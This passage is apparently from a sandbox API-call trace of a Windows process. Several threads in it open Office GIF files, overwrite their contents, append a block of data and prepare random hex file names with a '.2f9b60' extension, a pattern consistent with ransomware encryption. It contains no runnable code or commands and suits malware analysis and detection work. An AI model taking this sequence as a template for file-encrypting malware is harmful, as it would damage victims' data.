SourceString="5672af4cc1afb7fdd36a23b32dd7db115658a2a6b34b4cfc" | out: DestinationString="5672af4cc1afb7fdd36a23b32dd7db115658a2a6b34b4cfc") [0236.322] RtlAnsiStringToUnicodeString (in: DestinationString=0x3570fe58, SourceString="5672af4cc1afb7fdd36a23b32dd7db115658a2a6b34b4cfc", AllocateDestinationString=1 | out: DestinationString="5672af4cc1afb7fdd36a23b32dd7db115658a2a6b34b4cfc") returned 0x0 [0236.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f590 [0236.323] wcscat (in: _Dest=0x431cb440, _Source="5672af4cc1af" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\5672af4cc1af") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\5672af4cc1af" [0236.323] wcscat (in: _Dest=0x431cb440, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\5672af4cc1af.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\5672af4cc1af.2f9b60" [0236.323] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\5672af4cc1af.2f9b60", NtPathName=0x3570fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\5672af4cc1af.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e31a0 Thread: id = 3879 os_tid = 0x1c78 [0229.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif")) returned 0x20 [0230.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF", dwFileAttributes=0x20) returned 1 [0231.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cf8 [0231.717] GetFileSizeEx (in: hFile=0x1cf8, lpFileSize=0x3466fb00 | out: lpFileSize=0x3466fb00*=499) returned 1 [0231.717] SetFilePointerEx (in: hFile=0x1cf8, liDistanceToMove=0x1ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.717] ReadFile (in: hFile=0x1cf8, lpBuffer=0x3466fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3466fac8, lpOverlapped=0x0 | out: lpBuffer=0x3466fa80*, lpNumberOfBytesRead=0x3466fac8*=0x4, lpOverlapped=0x0) returned 1 [0231.718] SetFilePointerEx (in: hFile=0x1cf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645c0 [0231.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0231.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644d0 [0231.719] NtQuerySystemTime (in: CurrentTime=0x3466f9c0 | out: CurrentTime=0x3466f9c0*=132462178357078000) returned 0x0 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x3eb5eff4 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x6c7039d2 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x1f2d44f3 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x5016c59 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x6cc86a06 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x101e4ade [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x789c5d85 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x25e66181 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x5be05d70 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x627dc622 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x3ec122ee [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x62c184d7 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x55cd24ac [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x52823167 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x18123158 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x5e66ae7f [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x56bd1485 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x5d17c6f [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x5f3d3e42 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x5ddebc25 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x70d12c84 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x7a50dd9a [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x3a45b71 [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x7346effc [0231.719] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x6e05a5e9 [0231.720] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0xabc619a [0231.720] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x21ef8dc4 [0231.720] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x73a4f64a [0231.720] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x25310568 [0231.720] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x18a6975e [0231.720] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x6c17f7f3 [0231.720] RtlRandomEx (in: Seed=0x3466f9b0 | out: Seed=0x3466f9b0) returned 0x17a26e85 [0231.726] ReadFile (in: hFile=0x1cf8, lpBuffer=0x42661150, nNumberOfBytesToRead=0x1f3, lpNumberOfBytesRead=0x3466f9b0, lpOverlapped=0x0 | out: lpBuffer=0x42661150*, lpNumberOfBytesRead=0x3466f9b0*=0x1f3, lpOverlapped=0x0) returned 1 [0231.726] SetFilePointerEx (in: hFile=0x1cf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.727] WriteFile (in: hFile=0x1cf8, lpBuffer=0x4283be10*, nNumberOfBytesToWrite=0x1f3, lpNumberOfBytesWritten=0x3466f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4283be10*, lpNumberOfBytesWritten=0x3466f9b4*=0x1f3, lpOverlapped=0x0) returned 1 [0234.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e5c0 [0234.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e5f0 [0234.236] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e5f0) returned 1 [0234.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4283be10) returned 1 [0234.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42661150) returned 1 [0234.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba2e0) returned 1 [0234.237] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058970) returned 1 [0234.237] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050e5f0 [0234.238] SetFilePointerEx (in: hFile=0x1cf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.238] WriteFile (in: hFile=0x1cf8, lpBuffer=0x431e0840*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3466fad0, lpOverlapped=0x0 | out: lpBuffer=0x431e0840*, lpNumberOfBytesWritten=0x3466fad0*=0x10a, lpOverlapped=0x0) returned 1 [0236.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62280 [0236.432] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860240 [0236.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860240) returned 1 [0236.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860240 [0236.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c90 [0236.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860c90) returned 1 [0236.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0236.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5dc70 [0236.436] sprintf (in: _Dest=0x1ce5dc70, _Format="%c%c" | out: _Dest="28") returned 2 [0236.436] sprintf (in: _Dest=0x1ce5dc72, _Format="%c%c" | out: _Dest="3d") returned 2 [0236.436] sprintf (in: _Dest=0x1ce5dc74, _Format="%c%c" | out: _Dest="c2") returned 2 [0236.436] sprintf (in: _Dest=0x1ce5dc76, _Format="%c%c" | out: _Dest="bb") returned 2 [0236.436] sprintf (in: _Dest=0x1ce5dc78, _Format="%c%c" | out: _Dest="5f") returned 2 [0236.436] sprintf (in: _Dest=0x1ce5dc7a, _Format="%c%c" | out: _Dest="aa") returned 2 [0236.436] sprintf (in: _Dest=0x1ce5dc7c, _Format="%c%c" | out: _Dest="db") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc7e, _Format="%c%c" | out: _Dest="3c") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc80, _Format="%c%c" | out: _Dest="74") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc82, _Format="%c%c" | out: _Dest="64") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc84, _Format="%c%c" | out: _Dest="db") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc86, _Format="%c%c" | out: _Dest="85") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc88, _Format="%c%c" | out: _Dest="65") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc8a, _Format="%c%c" | out: _Dest="99") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc8c, _Format="%c%c" | out: _Dest="0d") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc8e, _Format="%c%c" | out: _Dest="2f") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc90, _Format="%c%c" | out: _Dest="55") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc92, _Format="%c%c" | out: _Dest="96") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc94, _Format="%c%c" | out: _Dest="f5") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc96, _Format="%c%c" | out: _Dest="00") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc98, _Format="%c%c" | out: _Dest="f0") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc9a, _Format="%c%c" | out: _Dest="7d") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc9c, _Format="%c%c" | out: _Dest="37") returned 2 [0236.437] sprintf (in: _Dest=0x1ce5dc9e, _Format="%c%c" | out: _Dest="20") returned 2 [0236.437] RtlInitAnsiString (in: DestinationString=0x3466fb48, SourceString="283dc2bb5faadb3c7464db8565990d2f5596f500f07d3720" | out: DestinationString="283dc2bb5faadb3c7464db8565990d2f5596f500f07d3720") [0236.437] RtlAnsiStringToUnicodeString (in: DestinationString=0x3466fb18, SourceString="283dc2bb5faadb3c7464db8565990d2f5596f500f07d3720", AllocateDestinationString=1 | out: DestinationString="283dc2bb5faadb3c7464db8565990d2f5596f500f07d3720") returned 0x0 [0236.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309ff30 [0236.438] wcscat (in: _Dest=0x431cb1c0, _Source="283dc2bb5faa" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\283dc2bb5faa") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\283dc2bb5faa" [0236.438] wcscat (in: _Dest=0x431cb1c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\283dc2bb5faa.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\283dc2bb5faa.2f9b60" [0236.438] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\283dc2bb5faa.2f9b60", NtPathName=0x3466faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\283dc2bb5faa.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e33e0 [0242.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e33e0) returned 1 [0242.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20292a40) returned 1 [0242.495] NtQueryInformationFile (in: FileHandle=0x1cf8, IoStatusBlock=0x3466fb58, FileInformation=0x3466fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3466fb58, FileInformation=0x3466fb68) returned 0x0 [0242.495] NtSetInformationFile (FileHandle=0x1cf8, IoStatusBlock=0x3466fb58, FileInformation=0x3466fb68, Length=0x28, FileInformationClass=0x4) Thread: id = 3880 os_tid = 0x1c7c [0229.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif")) returned 0x20 [0230.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF", dwFileAttributes=0x20) returned 1 [0231.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3334 [0231.748] GetFileSizeEx (in: hFile=0x3334, lpFileSize=0x3455f800 | out: lpFileSize=0x3455f800*=900) returned 1 [0231.748] SetFilePointerEx (in: hFile=0x3334, liDistanceToMove=0x380, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.748] ReadFile (in: hFile=0x3334, lpBuffer=0x3455f780, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3455f7c8, lpOverlapped=0x0 | out: lpBuffer=0x3455f780*, lpNumberOfBytesRead=0x3455f7c8*=0x4, lpOverlapped=0x0) returned 1 [0231.766] SetFilePointerEx (in: hFile=0x3334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264e90 [0231.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265e50 [0231.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267200 [0231.768] NtQuerySystemTime (in: CurrentTime=0x3455f6c0 | out: CurrentTime=0x3455f6c0*=132462178357546000) returned 0x0 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x41f898ce [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x38ad3320 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x6bed2c73 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x329f0bbc [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x19af04ac [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x6952df9e [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x7ea1695a [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0xf2ad81b [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x5f3d3e42 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x280b789f [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x16f7d4c1 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x51699187 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x72000b5b [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x6c8d07b5 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x6873d94e [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0xf54006f [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x7346effc [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x750348db [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x7bff334d [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x782322f8 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x45c4e04d [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x210a98ee [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x7eefc543 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x3e0932d6 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x2e84ad9d [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x2da634a7 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x7dd654ae [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x31b1aba8 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x2153a826 [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x1f8b00ea [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0xf1af3fe [0231.768] RtlRandomEx (in: Seed=0x3455f6b0 | out: Seed=0x3455f6b0) returned 0x235a6caf [0231.776] ReadFile (in: hFile=0x3334, lpBuffer=0x4284ea60, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x3455f6b0, lpOverlapped=0x0 | out: lpBuffer=0x4284ea60*, lpNumberOfBytesRead=0x3455f6b0*=0x384, lpOverlapped=0x0) returned 1 [0231.776] SetFilePointerEx (in: hFile=0x3334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.776] WriteFile (in: hFile=0x3334, lpBuffer=0x4284ae50*, nNumberOfBytesToWrite=0x384, lpNumberOfBytesWritten=0x3455f6b4, lpOverlapped=0x0 | out: lpBuffer=0x4284ae50*, lpNumberOfBytesWritten=0x3455f6b4*=0x384, lpOverlapped=0x0) returned 1 [0234.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f31c0 [0234.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3220 [0234.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3220) returned 1 [0234.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4284ae50) returned 1 [0234.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4284ea60) returned 1 [0234.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba360) returned 1 [0234.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0234.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x422f3220 [0234.711] SetFilePointerEx (in: hFile=0x3334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.711] WriteFile (in: hFile=0x3334, lpBuffer=0x431e0f00*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3455f7d0, lpOverlapped=0x0 | out: lpBuffer=0x431e0f00*, lpNumberOfBytesWritten=0x3455f7d0*=0x10a, lpOverlapped=0x0) returned 1 [0236.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62320 [0236.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264470 [0236.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264470) returned 1 [0236.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0236.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264470 [0236.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265580 [0236.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265580) returned 1 [0236.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62320) returned 1 [0236.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d7e40 [0236.524] sprintf (in: _Dest=0x1b7d7e40, _Format="%c%c" | out: _Dest="d8") returned 2 [0236.524] sprintf (in: _Dest=0x1b7d7e42, _Format="%c%c" | out: _Dest="2c") returned 2 [0236.524] sprintf (in: _Dest=0x1b7d7e44, _Format="%c%c" | out: _Dest="31") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e46, _Format="%c%c" | out: _Dest="77") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e48, _Format="%c%c" | out: _Dest="78") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e4a, _Format="%c%c" | out: _Dest="df") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e4c, _Format="%c%c" | out: _Dest="4f") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e4e, _Format="%c%c" | out: _Dest="2f") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e50, _Format="%c%c" | out: _Dest="73") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e52, _Format="%c%c" | out: _Dest="84") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e54, _Format="%c%c" | out: _Dest="66") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e56, _Format="%c%c" | out: _Dest="80") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e58, _Format="%c%c" | out: _Dest="5f") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e5a, _Format="%c%c" | out: _Dest="84") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e5c, _Format="%c%c" | out: _Dest="20") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e5e, _Format="%c%c" | out: _Dest="ac") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e60, _Format="%c%c" | out: _Dest="91") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e62, _Format="%c%c" | out: _Dest="04") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e64, _Format="%c%c" | out: _Dest="80") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e66, _Format="%c%c" | out: _Dest="d6") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e68, _Format="%c%c" | out: _Dest="53") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e6a, _Format="%c%c" | out: _Dest="cc") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e6c, _Format="%c%c" | out: _Dest="09") returned 2 [0236.525] sprintf (in: _Dest=0x1b7d7e6e, _Format="%c%c" | out: _Dest="1c") returned 2 [0236.525] RtlInitAnsiString (in: DestinationString=0x3455f848, SourceString="d82c317778df4f2f738466805f8420ac910480d653cc091c" | out: DestinationString="d82c317778df4f2f738466805f8420ac910480d653cc091c") [0236.525] RtlAnsiStringToUnicodeString (in: DestinationString=0x3455f818, SourceString="d82c317778df4f2f738466805f8420ac910480d653cc091c", AllocateDestinationString=1 | out: DestinationString="d82c317778df4f2f738466805f8420ac910480d653cc091c") returned 0x0 [0236.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4310f750 [0236.526] wcscat (in: _Dest=0x431cb620, _Source="d82c317778df" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d82c317778df") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d82c317778df" [0236.526] wcscat (in: _Dest=0x431cb620, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d82c317778df.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d82c317778df.2f9b60" [0236.526] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d82c317778df.2f9b60", NtPathName=0x3455f7f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\d82c317778df.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x430e39e0 Thread: id = 3881 os_tid = 0xe64 [0229.935] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif")) returned 0x20 [0230.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF", dwFileAttributes=0x20) returned 1 [0231.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" (normalized: "c:\\program files\\microsoft 